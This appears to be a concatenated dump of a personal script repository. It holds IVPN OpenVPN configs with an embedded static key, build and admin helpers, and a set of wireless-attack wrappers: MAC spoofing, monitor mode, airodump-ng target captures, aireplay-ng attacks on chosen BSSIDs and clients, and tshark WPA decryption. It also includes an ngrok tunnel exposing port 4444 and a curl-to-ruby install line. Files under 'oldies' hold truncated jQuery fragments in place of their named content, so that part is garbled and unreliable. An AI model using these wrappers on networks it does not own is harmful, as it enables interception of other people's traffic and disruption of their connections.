43 | vFgaKU+meWjCRQmptKWmoFpzPtCxB59D9zqYB0TaAuGOh084ioM+qC+MMXJzYY7c
44 | aXvOZ02b1lu44Z1GDIDxy1ONhajoRS59QmNpeoD3jtrVfGPmMwcR26TBj2nMudZK
45 | YMjYmbORgXu/0a/4jZ43B0mvRXCX64xOmwFZHioONhrxdtGA0pNwCXYWKyJ2pnLA
46 | 6VBoEr0Hku56c0ZIDVdi3EUmO/K/XmOmmp6htKELdvjR3goiS/fC/2XTSkIJe3Va
47 | 15U=
48 | -----END CERTIFICATE-----
49 |
50 |
51 | -----BEGIN OpenVPN Static key V1-----
52 | ac470c93ff9f5602a8aab37dee84a528
53 | 14d10f20490ad23c47d5d82120c1bf85
54 | 9e93d0696b455d4a1b8d55d40c2685c4
55 | 1ca1d0aef29a3efd27274c4ef09020a3
56 | 978fe45784b335da6df2d12db97bbb83
57 | 8416515f2a96f04715fd28949c6fe296
58 | a925cfada3f8b8928ed7fc963c156327
59 | 2f5cf46e5e1d9c845d7703ca881497b7
60 | e6564a9d1dea9358adffd435295479f4
61 | 7d5298fabf5359613ff5992cb57ff081
62 | a04dfb81a26513a6b44a9b5490ad265f
63 | 8a02384832a59cc3e075ad545461060b
64 | 7bcab49bac815163cb80983dd51d5b1f
65 | d76170ffd904d8291071e96efc3fb777
66 | 856c717b148d08a510f5687b8a8285dc
67 | ffe737b98916dd15ef6235dee4266d3b
68 | -----END OpenVPN Static key V1-----
69 |
70 |
71 |
--------------------------------------------------------------------------------
/ivpn-setup/ivpn-openvpn-config/United Kingdom.ovpn:
--------------------------------------------------------------------------------
1 | client
2 | dev tun
3 | proto udp
4 | remote gb.gw.ivpn.net 2049
5 | auth-user-pass
6 |
7 | resolv-retry infinite
8 | nobind
9 | persist-tun
10 | persist-key
11 | persist-remote-ip
12 |
13 | cipher AES-256-CBC
14 | tls-cipher TLS-DHE-RSA-WITH-AES-256-CBC-SHA:TLS-DHE-DSS-WITH-AES-256-CBC-SHA:TLS-RSA-WITH-AES-256-CBC-SHA
15 | ns-cert-type server
16 | verify-x509-name gb name-prefix
17 | key-direction 1
18 | comp-lzo
19 | verb 3
20 |
21 | ;ca ca.crt
22 |
23 | -----BEGIN CERTIFICATE-----
24 | MIIETjCCAzagAwIBAgIJANeN9f9F53lmMA0GCSqGSIb3DQEBBQUAMHcxCzAJBgNV
25 | BAYTAk1UMQ4wDAYDVQQIEwVNYWx0YTEOMAwGA1UEBxMFTWFsdGExETAPBgNVBAoT
26 | CElWUE4ubmV0MRQwEgYDVQQDEwtJVlBOLm5ldCBDQTEfMB0GCSqGSIb3DQEJARYQ
27 | c3VwcG9ydEBpdnBuLm5ldDAeFw0xMDA3MjQxNzQxMjBaFw0yMDA3MjExNzQxMjBa
28 | MHcxCzAJBgNVBAYTAk1UMQ4wDAYDVQQIEwVNYWx0YTEOMAwGA1UEBxMFTWFsdGEx
29 | ETAPBgNVBAoTCElWUE4ubmV0MRQwEgYDVQQDEwtJVlBOLm5ldCBDQTEfMB0GCSqG
30 | SIb3DQEJARYQc3VwcG9ydEBpdnBuLm5ldDCCASIwDQYJKoZIhvcNAQEBBQADggEP
31 | ADCCAQoCggEBANb0cvGYrnHwXm9vZiHGIlvKDo342dE8XyyA4iIyjeSDTnC2XTdu
32 | E/NPxQ2hc5Pi8DKFqzrmJ8qxmLRv3n+NGQsHiP+rKE2Wi6wQYzg12fgxmeLYenbH
33 | J8UzzVCg2YFe97LGs8cBZeirYKHyErP+Od7rYot6VyUKkb5FB+Tjql6GiyiWmxIv
34 | T9PKoFkXSI3riCiLIP1LwzLVcn0nhZvnXFk2EvVmhmjzdJWLNjqe3Zj78mQLzMdc
35 | XFBO28kaEaydvh2k/Beu17YUqGQDt2w4sbL+DPyjD+k/NusVzV4HggISfJAKfHZz
36 | G1cBFA3Hiu+jSkKOMJ4gC3f+WG4Hpj1XS7cCAwEAAaOB3DCB2TAdBgNVHQ4EFgQU
37 | vCA6yNJ+VUdFGuKo/EnEQZUz874wgakGA1UdIwSBoTCBnoAUvCA6yNJ+VUdFGuKo
38 | /EnEQZUz876he6R5MHcxCzAJBgNVBAYTAk1UMQ4wDAYDVQQIEwVNYWx0YTEOMAwG
39 | A1UEBxMFTWFsdGExETAPBgNVBAoTCElWUE4ubmV0MRQwEgYDVQQDEwtJVlBOLm5l
40 | dCBDQTEfMB0GCSqGSIb3DQEJARYQc3VwcG9ydEBpdnBuLm5ldIIJANeN9f9F53lm
41 | MAwGA1UdEwQFMAMBAf8wDQYJKoZIhvcNAQEFBQADggEBAFhU6MPf42dp5U0yPE0c
42 | ZS3g/pqd4GV4eBe7wYydv88FCScV8o2XGi3VruHKLbyGNxiD3OWwV81NNpLA8rFi
43 | vFgaKU+meWjCRQmptKWmoFpzPtCxB59D9zqYB0TaAuGOh084ioM+qC+MMXJzYY7c
44 | aXvOZ02b1lu44Z1GDIDxy1ONhajoRS59QmNpeoD3jtrVfGPmMwcR26TBj2nMudZK
45 | YMjYmbORgXu/0a/4jZ43B0mvRXCX64xOmwFZHioONhrxdtGA0pNwCXYWKyJ2pnLA
46 | 6VBoEr0Hku56c0ZIDVdi3EUmO/K/XmOmmp6htKELdvjR3goiS/fC/2XTSkIJe3Va
47 | 15U=
48 | -----END CERTIFICATE-----
49 |
50 |
51 | -----BEGIN OpenVPN Static key V1-----
52 | ac470c93ff9f5602a8aab37dee84a528
53 | 14d10f20490ad23c47d5d82120c1bf85
54 | 9e93d0696b455d4a1b8d55d40c2685c4
55 | 1ca1d0aef29a3efd27274c4ef09020a3
56 | 978fe45784b335da6df2d12db97bbb83
57 | 8416515f2a96f04715fd28949c6fe296
58 | a925cfada3f8b8928ed7fc963c156327
59 | 2f5cf46e5e1d9c845d7703ca881497b7
60 | e6564a9d1dea9358adffd435295479f4
61 | 7d5298fabf5359613ff5992cb57ff081
62 | a04dfb81a26513a6b44a9b5490ad265f
63 | 8a02384832a59cc3e075ad545461060b
64 | 7bcab49bac815163cb80983dd51d5b1f
65 | d76170ffd904d8291071e96efc3fb777
66 | 856c717b148d08a510f5687b8a8285dc
67 | ffe737b98916dd15ef6235dee4266d3b
68 | -----END OpenVPN Static key V1-----
69 |
70 |
71 |
--------------------------------------------------------------------------------
/live-build-scripts/test-run-kernel.sh:
--------------------------------------------------------------------------------
1 | #!/bin/bash
2 | clear
3 | #Colors
4 |
5 | dgrey="\033[0;34m"
6 | port="\033[0;33m"
7 | RED="\033[1;31m"
8 | GREEN="\033[2;32m"
9 | YELLOW="\033[1;33m"
10 | BLUE="\033[1;34m"
11 | RED="\033[0;31m"
12 | ENDCOLOR="\033[0m"
13 |
14 | echo -e $RED"#################################################################"$ENDCOLOR;
15 | echo -e $YELLOW" ____ ___ __ ____ __ _ ____ ____"$ENDCOLOR;
16 | echo -e $YELLOW" / __/__ / (_)__/ / / __ \___ / /_(_)__ ___ / __ \/ __/"$ENDCOLOR;
17 | echo -e $YELLOW" _\ \/ _ \/ / / _ / / /_/ / _ \/ __/ / _ \/ _ \ / /_/ /\ \ "$ENDCOLOR;
18 | echo -e $YELLOW"/___/\___/_/_/\_,_/ \____/ .__/\__/_/\___/_//_/ \____/___/ "$ENDCOLOR;
19 | echo -e $YELLOW" /_/ "$ENDCOLOR;
20 | echo -e $RED"#################################################################"$ENDCOLOR;
21 | echo -e $YELLOW"Test run new kernel"$ENDCOLOR;
22 | sleep 2
23 | echo -e $YELLOW"Enter mapper path: [ex. '/dev/mapper/user1'] "$ENDCOLOR;
24 | read MAPPERPATH
25 | sleep 0.5
26 | echo -e $YELLOW"Enter new kernel header name: [ex. 'vmlinuz-4.1.0-trunk-amd64'] "$ENDCOLOR;
27 | read KERNELNAME
28 | BOOT_IMAGE=/$KERNELNAME root=$MAPPERPATH ro initrd=/install/initrd.gz quiet
29 | sleep 1
30 | echo -e $GREEN"Boot image set."$ENDCOLOR
31 | echo -e $RED"###############################################"$ENDCOLOR
32 | echo -e $RED"# task complete!! #"$ENDCOLOR
33 | echo -e $RED"###############################################"$ENDCOLOR
34 | echo ""
35 | echo -e $GREEN"Have A Solid Day"$ENDCOLOR
36 | echo ""
37 |
--------------------------------------------------------------------------------
/mac-scripts/brew-for-mac/install-homebrew-mac.sh:
--------------------------------------------------------------------------------
1 | #!/bin/bash
2 |
3 | echo "Creating folders.."
4 | sleep 1
5 | echo ""
6 | sudo mkdir -p /usr/local && sudo chown -R $(whoami):admin /usr/local
7 | echo ""
8 | echo "Updating PATH.."
9 | sleep 1
10 | echo ""
11 | PATH=:/usr/local/bin:/bin:/sbin:/system/bin:/system/sbin:/private/sbin:/private/bin:PATH
12 | echo ""
13 | echo "Running curl script.."
14 | echo ""
15 | sleep 1
16 | ruby -e "$(curl -fsSL https://raw.githubusercontent.com/Homebrew/install/master/install)"
17 | echo ""
18 | echo "Updating brew and installing ruby and jekyll.."
19 | echo ""
20 | brew update && brew install ruby && gem install jekyll
21 | sleep 1
22 | echo ""
23 | echo "Complete."
24 |
25 |
--------------------------------------------------------------------------------
/mac-scripts/mac-permissions-scripts/change-ownership:
--------------------------------------------------------------------------------
1 | #!/bin/bash
2 | #Colors
3 | dgrey="\033[0;34m"
4 | port="\033[0;33m"
5 | RED="\033[1;31m"
6 | GREEN="\033[1;32m"
7 | YELLOW="\033[1;33m"
8 | BLUE="\033[1;34m"
9 | PURPLE="\033[1;35m"
10 | CYAN="\033[1;36m"
11 | WHITE="\033[1:37m"
12 | ENDCOLOR="\033[0m"
13 | alias ll='ls -Al'
14 | clear
15 | echo -e $CYAN"Change permissions script"$ENDCOLOR;
16 | echo ""
17 | echo -e $CYAN"Which folder do you want to start in? [/Users/...] "$ENDCOLOR;
18 | read STARTFOLDER
19 |
20 | echo ""
21 | echo -e $BLUE"Changing directory to $STARTFOLDER.."$ENDCOLOR;
22 | echo ""
23 | cd $STARTFOLDER
24 | pwd
25 | echo ""
26 | echo -e $CYAN"Which files and/or folders do you want to change? Separate multiple files and folders with a space. [folder1/ file1 folder2/ file2 ..] "$ENDCOLOR;
27 | read SELECTED
28 | echo ""
29 |
30 | echo -e $CYAN"Change ownership to which group and user? [root:wheel] "$ENDCOLOR;
31 | read NEWGRPUSR
32 | echo ""
33 | echo -e $BLUE"Selecting $NEWGRPUSR for $SELECTED in $STARTFOLDER." $ENDCOLOR;
34 | echo ""
35 | echo -e $YELLOW"Is this correct? "$ENDCOLOR;
36 | read GO
37 |
38 | if [[ $GO = 'y' || $GO = 'Y' || $GO = 'yes' || $GO = 'Yes' || $GO = 'YES' ]]; then
39 |
40 | echo ""
41 | echo -e $YELLOW"Excecuting command: sudo chown $NEWGRPUSR $SELECTED.."$ENDCOLOR;
42 | sleep 1
43 | echo ""
44 | sudo chown $NEWGRPUSR $SELECTED
45 | echo ""
46 | echo -e $GREEN"Complete."$ENDCOLOR;
47 | ls -Al
48 |
49 | else
50 |
51 | echo ""
52 | echo -e $YELLOW"Exiting.."$ENDCOLOR;
53 | exit
54 |
55 | fi
56 |
--------------------------------------------------------------------------------
/nethunter-builder/build-nethunter:
--------------------------------------------------------------------------------
1 | #!/bin/bash
2 | cd ~/
3 | git clone https://github.com/offensive-security/kali-nethunter.git
4 | cd kali-nethunter/nethunter-installer
5 | ./bootstrap.sh
6 | python build.py -h
7 | python build.py -d flounder -n -u -f -fs full
8 |
--------------------------------------------------------------------------------
/ngrok/start-ngrok-tcp-tunnel:
--------------------------------------------------------------------------------
1 | #!/bin/bash
2 | echo "";
3 | echo "Starting Ngrok TCP Tunnel..";
4 | ngrok tcp 4444 --remote-addr 1.tcp.ngrok.io:26414
5 |
--------------------------------------------------------------------------------
/old-scripts/README.md:
--------------------------------------------------------------------------------
1 | # optionZ3ro
2 |
--------------------------------------------------------------------------------
/old-scripts/config-netmanage-ssh.sh:
--------------------------------------------------------------------------------
1 | #!/bin/bash
2 | clear
3 | echo "Updating Network Manager to allow managed interfaces "
4 | sleep 1
5 | #Create temporary file with new line in place
6 | cat /etc/NetworkManager/NetworkManager.conf | sed -e "s/managed=false/managed=true/" > /tmp/NetworkManager.conf
7 | #Copy the new file over the original file
8 | mv /tmp/NetworkManager.conf /etc/NetworkManager/NetworkManager.conf
9 | sleep 1
10 | cat /etc/NetworkManager/NetworkManager.conf
11 | sleep 1
12 | echo "Clearing old ssh keys and reconfiguring openssh server "
13 | sleep 0.5
14 | mkdir /etc/ssh/oldie-keys
15 | sleep 0.5
16 | mv /etc/ssh/ssh_host_* /etc/ssh/oldie-keys
17 |
18 | dpkg-reconfigure openssh-server
19 | echo "Complete."
20 |
--------------------------------------------------------------------------------
/old-scripts/config-tshark-decrypt-WPA.sh:
--------------------------------------------------------------------------------
1 | #!/bin/bash
2 | clear
3 | #colors
4 | dgrey="\033[0;34m"
5 | port="\033[0;33m"
6 | RED="\033[1;31m"
7 | GREEN="\033[2;32m"
8 | YELLOW="\033[1;33m"
9 | BLUE="\033[1;34m"
10 | RED="\033[0;31m"
11 | ENDCOLOR="\033[0m"
12 |
13 | echo -e $BLUE"Decrypt WPA with Tshark "$ENDCOLOR;
14 | sleep 0.5
15 |
16 | echo -e $YELLOW".pcap File to Decrypt>: "$ENDCOLOR;
17 | read INPUT
18 | sleep 1
19 |
20 | echo -e $YELLOW"Use option wlan or eth>: [ wlan | eth ] "$ENDCOLOR;
21 | read INT
22 | sleep 1
23 |
24 | echo -e $BLUE"Initiating WPA Decryption of $INPUT "$ENDCOLOR;
25 | sleep 2
26 | tshark -nr $INPUT -o $INT.enable_decryption:TRUE -o "uat:80211_keys:\"wpa-pwd\",\"Passphrase:SSID\"" -Y "http"
27 |
--------------------------------------------------------------------------------
/old-scripts/dumpit.sh:
--------------------------------------------------------------------------------
1 | #!/bin/bash
2 |
3 | echo "Let's fuck shit up!: "
4 |
5 | echo "Select Wireless Interface: "
6 | read INTERFACE
7 |
8 | echo "Select Channel: "
9 | read CHANNEL
10 |
11 | echo "Options: "
12 | read OPTIONS
13 |
14 | echo "Encrypt(prepend --encrypt): "
15 | read ENCRYPT
16 |
17 | echo "Save to: "
18 | read SAVELOCATION
19 |
20 | sudo airodump-ng $INTERFACE -c $CHANNEL $OPTIONS -w $SAVELOCATION $ENCRYPT
21 | echo "enslavement initiated: "
22 |
--------------------------------------------------------------------------------
/old-scripts/dumpit0.sh:
--------------------------------------------------------------------------------
1 | #!/bin/bash
2 |
3 | echo "wlan0 selected: Let's fuck shit up!: "
4 |
5 | echo "Title This Session: "
6 | read TITLE
7 |
8 | echo "This session will be saved at /home/h3x/enslave/caps/$TITLE: "
9 |
10 | echo "Select Channel(s) - Separate Channels with ','s : "
11 | read CHANNEL
12 |
13 | echo "Options (--showack -a -M -U -h --band abg --wps --ivs --output-format: "
14 | read OPTIONS
15 |
16 | echo "Specifiy Encryption (--encrypt[wpa wpa2 wep..]): "
17 | read ENCRYPT
18 |
19 | echo "Dumping $TITLE: "
20 |
21 | sudo airodump-ng wlan0 -c $CHANNEL $OPTIONS -w /home/h3x/enslave/caps/$TITLE $ENCRYPT
22 |
--------------------------------------------------------------------------------
/old-scripts/gojoe.sh:
--------------------------------------------------------------------------------
1 | #!/bin/bash
2 | echo "Initializing Monitor Mode: "
3 | echo "Select Wireless Interface: "
4 | read INTERFACE
5 | ifconfig $INTERFACE down
6 | macchanger $INTERFACE -bra
7 | iw dev $INTERFACE set type monitor
8 | ifconfig $INTERFACE promisc
9 | ifconfig $INTERFACE up
10 | echo "Monitor Mode ENABLED: "
11 | iw $INTERFACE info
12 |
--------------------------------------------------------------------------------
/old-scripts/kali_kde.sh:
--------------------------------------------------------------------------------
1 | #!/bin/bash
2 | #-Operating System--------------------------------------------------#
3 | # Designed for: Kali Linux [1.0.5 x86] #
4 | # Last Updated: 2013-11-22 #
5 | #-Author------------------------------------------------------------#
6 | # g0tmilk ~ https://blog.g0tmi1k.com/ #
7 | #-Notes-------------------------------------------------------------#
8 | # Tested used Kali Linux (x86/x64) as the base OS #
9 | # #
10 | # Useful reading: #
11 | # http://docs.kali.org/downloading/live-build-a-custom-kali-iso #
12 | #-------------------------------------------------------------------#
13 |
14 |
15 | ##### Select architecture
16 | echo -e '\e[01;32m[+]\e[00m Select architecture'
17 | arch="i386"
18 | echo -e 'Which architecture to build?\n1.) x86\n2.) x64'
19 | while true; do
20 | echo -n "Select either 1 or 2 > "; read input
21 | if [[ $input == "1" ]] || [[ $input == "2" ]]; then
22 | [[ $input == "2" ]] && arch="amd64"
23 | break
24 | fi
25 | done
26 |
27 |
28 | ##### Getting Ready
29 | echo -e '\e[01;32m[+]\e[00m Getting Ready'
30 | apt-get -y -qq install live-build cdebootstrap git kali-archive-keyring
31 | cd /var/tmp/
32 | git clone git://git.kali.org/live-build-config.git
33 | cd live-build-config/
34 | lb clean --purge
35 | lb config
36 |
37 |
38 | ##### Configuring the Kali ISO Build
39 | echo -e '\e[01;32m[+]\e[00m Configuring the Kali ISO Build'
40 | file=config/package-lists/kali.list.chroot; [ -e $file ] && cp -n $file{,.bkup}
41 | #--- Remove GNOME 3
42 | sed -i 's/^gnome/# gnome/g' $file
43 | #--- Install KDE
44 | sed -i '/ KDE DESKTOP /,+2{/ KDE DESKTOP /!s/^# //}' $file
45 |
46 |
47 | ##### Building the ISO
48 | echo -e '\e[01;32m[+]\e[00m Building the ISO'
49 | #--- Allow building x64 on x86
50 | if [[ $arch == "amd64" ]] && [[ $(uname -m) != "amd64" ]]; then
51 | dpkg --add-architecture amd64
52 | apt-get update
53 | fi
54 | #--- Setup caching (Enable if you wish todo a lot of custom ISOs)
55 | apt-get -y -qq install apt-cacher-ng
56 | service apt-cacher-ng start
57 | export http_proxy=http://localhost:3142/
58 | #--- Remove PAE from kernel
59 | #sed -i 's/686-pae/486/g' auto/config
60 | #lb clean
61 | #--- Set architecture
62 | lb config --architecture $arch
63 | lb build
64 |
65 |
66 | ##### Post Build
67 | echo -e '\e[01;32m[+]\e[00m Post Build'
68 | [[ ! -e binary.hybrid.iso ]] && echo -e '\e[01;31m[!]\e[00m Failed to create ISO' && exit
69 | echo -e '\e[01;32m[+]\e[00m Kali KDE ISO was successully created!'
70 | #--- Move file somewhere that will 'last'
71 | filename="kali-kde_$arch_$(date +%Y-%m-%d).iso"
72 | mv -f binary.hybrid.iso ~/$filename
73 | echo -e "\e[01;32m[+]\e[00m File: ~/$filename"
74 | #--- Generate checksums
75 | sha1=$(sha1sum ~/$filename | awk '{print $1}')
76 | echo -e "\e[01;32m[+]\e[00m SHA1: $sha1"
77 |
--------------------------------------------------------------------------------
/old-scripts/kali_livebuild.sh:
--------------------------------------------------------------------------------
1 | #!/bin/bash
2 | #-Operating System--------------------------------------#
3 | # Designed for: Kali Linux [1.0.5 x86] #
4 | # Last Updated: 2013-11-18 #
5 | #-Author------------------------------------------------#
6 | # g0tmilk ~ https://blog.g0tmi1k.com/ #
7 | #-Notes-------------------------------------------------#
8 | # Useful reading: #
9 | # http://docs.kali.org/downloading/live-build-a-custom-kali-iso
10 | #-------------------------------------------------------#
11 |
12 |
13 | ##### Getting Ready
14 | apt-get -y -qq install live-build cdebootstrap git kali-archive-keyring
15 | cd /var/tmp/
16 | git clone git://git.kali.org/live-build-config.git
17 | cd live-build-config/
18 | #lb clean --purge
19 | lb config
20 |
21 |
22 | ##### Configuring the Kali ISO Build
23 | #--- Remove GNOME 3
24 | sed -i 's/^gnome/#gnome/g' config/package-lists/kali.list.chroot
25 | #--- Install XFCE
26 | grep 'xfce4' config/package-lists/kali.list.chroot -B1 | grep -q -v '*** XFCE DESKTOP ***\|xfce4' || echo -e '\nxfce4\nnetwork-manager-gnome\nnetwork-manager' >> config/package-lists/kali.list.chroot
27 |
28 |
29 | ##### Building the ISO
30 | #--- Allow building x64 on x86
31 | #dpkg --add-architecture amd64
32 | #apt-get update
33 | #--- Setup caching (Enable if you wish todo a lot of custom ISOs)
34 | apt-get -y -qq install apt-cacher-ng
35 | service apt-cacher-ng start
36 | export http_proxy=http://localhost:3142/
37 | #--- Remove PAE from kernel
38 | #sed -i 's/686-pae/486/g' auto/config
39 | #lb clean
40 | #--- Set architecture
41 | #lb config --architecture amd64 # x64
42 | lb config --architecture i386 # x86
43 | lb build
44 |
45 |
46 | ##### Post Build
47 | #--- Move file somewhere that will 'last'
48 | mv -f binary.hybrid.iso ~/custom.kali.iso
49 | #--- Show it
50 | ls -lh ~/custom.kali.iso
51 | #--- Create checksums
52 | md5sum ~/custom.kali.iso
53 | sha1sum ~/custom.kali.iso
--------------------------------------------------------------------------------
/old-scripts/letsgo.sh:
--------------------------------------------------------------------------------
1 | #!/bin/bash
2 |
3 | echo "Entering Monitor Mode: "
4 |
5 | echo "Select Wireless Interface: "
6 | read INTERFACE
7 |
8 | ifconfig $INTERFACE down
9 | macchanger $INTERFACE -br
10 | iw dev $INTERFACE set type monitor
11 | ifconfig $INTERFACE promisc
12 | ifconfig $INTERFACE up
13 | echo "Monitor Mode Enabled: "
14 |
--------------------------------------------------------------------------------
/old-scripts/monitor.sh:
--------------------------------------------------------------------------------
1 | #!/bin/bash
2 |
3 | echo "Entering Monitor Mode: "
4 |
5 | echo "Select Wireless Interface: "
6 | read INTERFACE
7 |
8 | ifconfig $INTERFACE down
9 | macchanger $INTERFACE -br
10 | iw dev $INTERFACE set type monitor
11 | ifconfig $INTERFACE promisc
12 | ifconfig $INTERFACE up
13 | echo "Monitor Mode Enabled: "
--------------------------------------------------------------------------------
/old-scripts/quicky.sh:
--------------------------------------------------------------------------------
1 | #!/bin/bash
2 | airodump-ng --showack -aMU --wps --band abg wlan0 -c 1,6,9,11
3 |
--------------------------------------------------------------------------------
/old-scripts/replayit.sh:
--------------------------------------------------------------------------------
1 | #!/bin/bash
2 |
3 | echo "Let's play!: "
4 |
5 | echo "Select Wireless Interface: "
6 | read INTERFACE
7 |
8 | echo "Select Attack(0-9): "
9 | read ATTACK
10 |
11 | echo "Attack Options: "
12 | read TargetOPTIONS
13 |
14 | echo "Target BSSID(prepend '-a' or '-b'): "
15 | read TargetBSSID
16 |
17 | echo "Target Destination MAC (-c) - leave blank to omit: "
18 | read TargetDESTINATION
19 |
20 | echo "(optional) Target Source MAC (-h) - leave blank to use your current MAC Address: "
21 | read TargetSOURCE
22 |
23 | echo "(optional) Save to (prepend '-w') : "
24 | read SAVETO
25 |
26 | sudo aireplay-ng -$ATTACK $TargetOPTIONS $TargetBSSID $TargetDESTINATION $TargetSOURCE $INTERFACE $SAVETO
27 | echo "play nice now...: "
28 |
--------------------------------------------------------------------------------
/old-scripts/resartNet:
--------------------------------------------------------------------------------
1 | #!/bin/bash
2 | /etc/init.d/network-manager restart
3 | sleep 1
4 | /etc/init.d/networking restart
5 | sleep 1
6 | /etc/init.d/network-manager restart
7 | sleep 1
8 |
--------------------------------------------------------------------------------
/old-scripts/session.sh:
--------------------------------------------------------------------------------
1 | #!/bin/bash
2 | $session
3 |
4 | bssid = 11:22:#3:44:55
5 | source
6 | dest.
7 | mac
8 | spoofed
9 | :wq
10 |
11 |
--------------------------------------------------------------------------------
/old-scripts/targetDump.sh:
--------------------------------------------------------------------------------
1 | #!/bin/bash
2 |
3 | echo "Target Specific AP: "
4 |
5 | echo "Title this Attack Session: "
6 | read AttackTITLE
7 | echo "This following will be saved to /home/h3x/enslave/caps/dump-$AttackTITLE: "
8 |
9 | echo "Select Wireless Interface to use with $AttackTITLE: "
10 | read INTERFACE
11 |
12 | echo "Select the Channel $AttackTITLE is on: "
13 | read CHANNEL
14 |
15 | echo "Enter $AttackTITLE BSSID: "
16 | read TargetBSSID
17 |
18 | echo "Enter $AttackTITLE ESSID: "
19 | read TargetESSID
20 |
21 | echo "Options (--showack -a -M -U --wps --band abg --ivs --output-format): "
22 | read OPTIONS
23 |
24 | echo "Dumping Target: "
25 |
26 | sudo airodump-ng --bssid $TargetBSSID --essid $TargetESSID $OPTIONS -w /home/h3x/enslave/caps/dump-$AttackTITLE $INTERFACE -c $CHANNEL
27 |
--------------------------------------------------------------------------------
/old-scripts/update-configs:
--------------------------------------------------------------------------------
1 | #!/bin/bash
2 | clear
3 | #Colors
4 |
5 | dgrey="\033[0;34m"
6 | port="\033[0;33m"
7 | RED="\033[1;31m"
8 | GREEN="\033[2;32m"
9 | YELLOW="\033[1;33m"
10 | BLUE="\033[1;34m"
11 | RED="\033[0;31m"
12 | ENDCOLOR="\033[0m"
13 |
14 | echo -e $BLUE"#################################################################"$ENDCOLOR;
15 | echo -e $YELLOW" ____ ___ __ ____ __ _ ____ ____"$ENDCOLOR;
16 | echo -e $YELLOW" / __/__ / (_)__/ / / __ \___ / /_(_)__ ___ / __ \/ __/"$ENDCOLOR;
17 | echo -e $YELLOW" _\ \/ _ \/ / / _ / / /_/ / _ \/ __/ / _ \/ _ \ / /_/ /\ \ "$ENDCOLOR;
18 | echo -e $YELLOW"/___/\___/_/_/\_,_/ \____/ .__/\__/_/\___/_//_/ \____/___/ "$ENDCOLOR;
19 | echo -e $YELLOW" /_/ "$ENDCOLOR;
20 | echo -e $BLUE"#################################################################"$ENDCOLOR;
21 | echo ""
22 | echo -e $YELLOW"Copy Configs"$ENDCOLOR
23 | sleep 1
24 | echo -e $YELLOW"Copy bashrc? [y/n] "$ENDCOLOR;
25 | read COPYBASHRC
26 |
27 | if [[ $COPYBASHRC = 'y' || $COPYBASHRC = 'Y' ]] ; then
28 |
29 | echo -e $BLUE"Making a backup first. "$ENDCOLOR;
30 | echo ""
31 | sleep 1
32 | echo cp ~/.bashrc ~/.bashrc.bak
33 | sleep 1
34 | echo ""
35 | echo -e $BLUE"Copying.. "$ENDCOLOR;
36 | echo ""
37 | sleep 1
38 | echo cp ../configs/bashrc ~/.bashrc
39 | sleep 1
40 | echo -e $GREEN"Bashrc copied successfully!"$ENDCOLOR;
41 | echo ""
42 | sleep 1
43 | echo -e $YELLOW"Source bashrc now?"$ENDCOLOR;
44 | read SOURCEBASHRC
45 |
46 | if [[ $SOURCEBASHRC = 'y' || $SOURCEBASHRC = 'Y' ]] ; then
47 |
48 | clear && source ~/.bashrc
49 |
50 | else
51 |
52 | echo -e $BLUE"Okay. Maybe later."$ENDCOLOR;
53 | echo ""
54 | sleep 1
55 |
56 | fi
57 |
58 | echo -e $YELLOW"Copy htoprc? "$ENDCOLOR;
59 | read COPYHTOPRC
60 |
61 | if [[ $COPYHTOPRC = 'y' || $COPYHTOPRC = 'Y' ]] ; then
62 |
63 | echo -e $BLUE"Making a backup first."$ENDCOLOR;
64 | echo ""
65 | sleep 1
66 | echo cp ~/.config/htop/htoprc ~/.config/htop/htoprc.bak
67 | sleep 1
68 | echo ""
69 | echo -e $BLUE"Copying.."$ENDCOLOR;
70 | echo ""
71 | sleep 1
72 | echo cp ../configs/htoprc ~/.config/htop/htoprc
73 | sleep 1
74 | echo -e $GREEN"Htoprc copied successfully!"$ENDCOLOR;
75 | echo ""
76 | sleep 1
77 |
78 | else
79 |
80 | echo -e $BLUE"Okay. Maybe some other time. "$ENDCOLOR;
81 | sleep 1
82 | fi
83 | echo ""
84 | echo -e $BLUE"###############################################################"$ENDCOLOR;
85 | echo -e $YELLOW" Operation Complete "$ENDCOLOR;
86 | echo -e $BLUE"###############################################################"$ENDCOLOR
87 |
88 |
--------------------------------------------------------------------------------
/oldies/Kali-Pi-LCD/switch-hdmi:
--------------------------------------------------------------------------------
1 | e preDispatch hook for the mapped type, and let it b
--------------------------------------------------------------------------------
/oldies/Kali-Pi-LCD/switch-lcd:
--------------------------------------------------------------------------------
1 | eEvent
2 | props: "altKey bubbles cancelable ctrlKey cur
--------------------------------------------------------------------------------
/oldies/README.md:
--------------------------------------------------------------------------------
1 | element, by name of that event, to properly expose it to GC
2 | if ( typeof elem[ name ] === strundefined ) {
3 | elem[ name ] = null;
4 | }
5 |
6 | elem.detachEvent( name, handle );
7 | }
8 | };
9 |
10 | jQuery.Event = function( src, props ) {
11 | // Allow instantiation without the 'new' keyword
12 | if ( !(this instanceof jQuery.Event) ) {
13 | return new jQuery.Event( src, props );
14 | }
15 |
16 | // Event object
17 | if ( src && src.type ) {
18 | this.originalEvent = src;
19 | this.type = src.
--------------------------------------------------------------------------------
/oldies/artwork-fetcher-scripts/get-art-zero-artwork:
--------------------------------------------------------------------------------
1 | ed an event listener
2 | },
3 |
4 | postDispatch: function( event ) {
5 | // If form was submitted by the user, bubble the event up the tree
6 | if ( event._submit_bubble ) {
7 | delete event._submit_bubble;
8 | if ( this.parentNode && !event.isTrigger ) {
9 | jQuery.event.simulate( "submit", this.parentNode, event, true );
10 | }
11 | }
12 | },
13 |
14 | teardown: function() {
15 | // Only need this for delegated form submit events
16 | if ( jQuery.nodeName( this, "form" ) ) {
17 | return false;
18 | }
19 |
20 | // Remove delegated handlers; cleanData eventually reaps submit handlers attached above
21 | jQuery.event.remove( this, "._submit" );
22 | }
23 | };
24 | }
25 |
26 | // IE change delegation and checkbox/radio fix
27 | if ( !support.changeBubbles ) {
28 |
29 | jQuery.event.special.change = {
30 |
31 | setup: function() {
32 |
33 | if ( rformElems.test( this.nodeName ) ) {
34 | // IE doesn't fire change on a check/radio until blur; trigger it on click
35 | // after a propertychange. Eat the blur-change in special.change.handle.
36 | // This still fires onchange a second time for check/radio after blur.
37 | if ( this.type === "checkbox" || this.type === "radio" ) {
38 | jQuery.event.add( this, "propertychange._change", function( event ) {
39 | if ( event.originalEvent.propertyName === "checked" ) {
40 | this._just_changed = true;
41 | }
42 | });
43 | jQuery.event.add( this, "click._change", function( event ) {
44 | if ( this._just_changed && !event.isTrigger ) {
45 | this._just_changed = false;
46 | }
47 | // Allow triggered, simulated change events (#11500)
48 | jQuery.event.simulate( "change", this, event, true );
49 | });
50 | }
51 | return false;
52 | }
53 | // Delegated event; lazy-add a change handler on descendant inputs
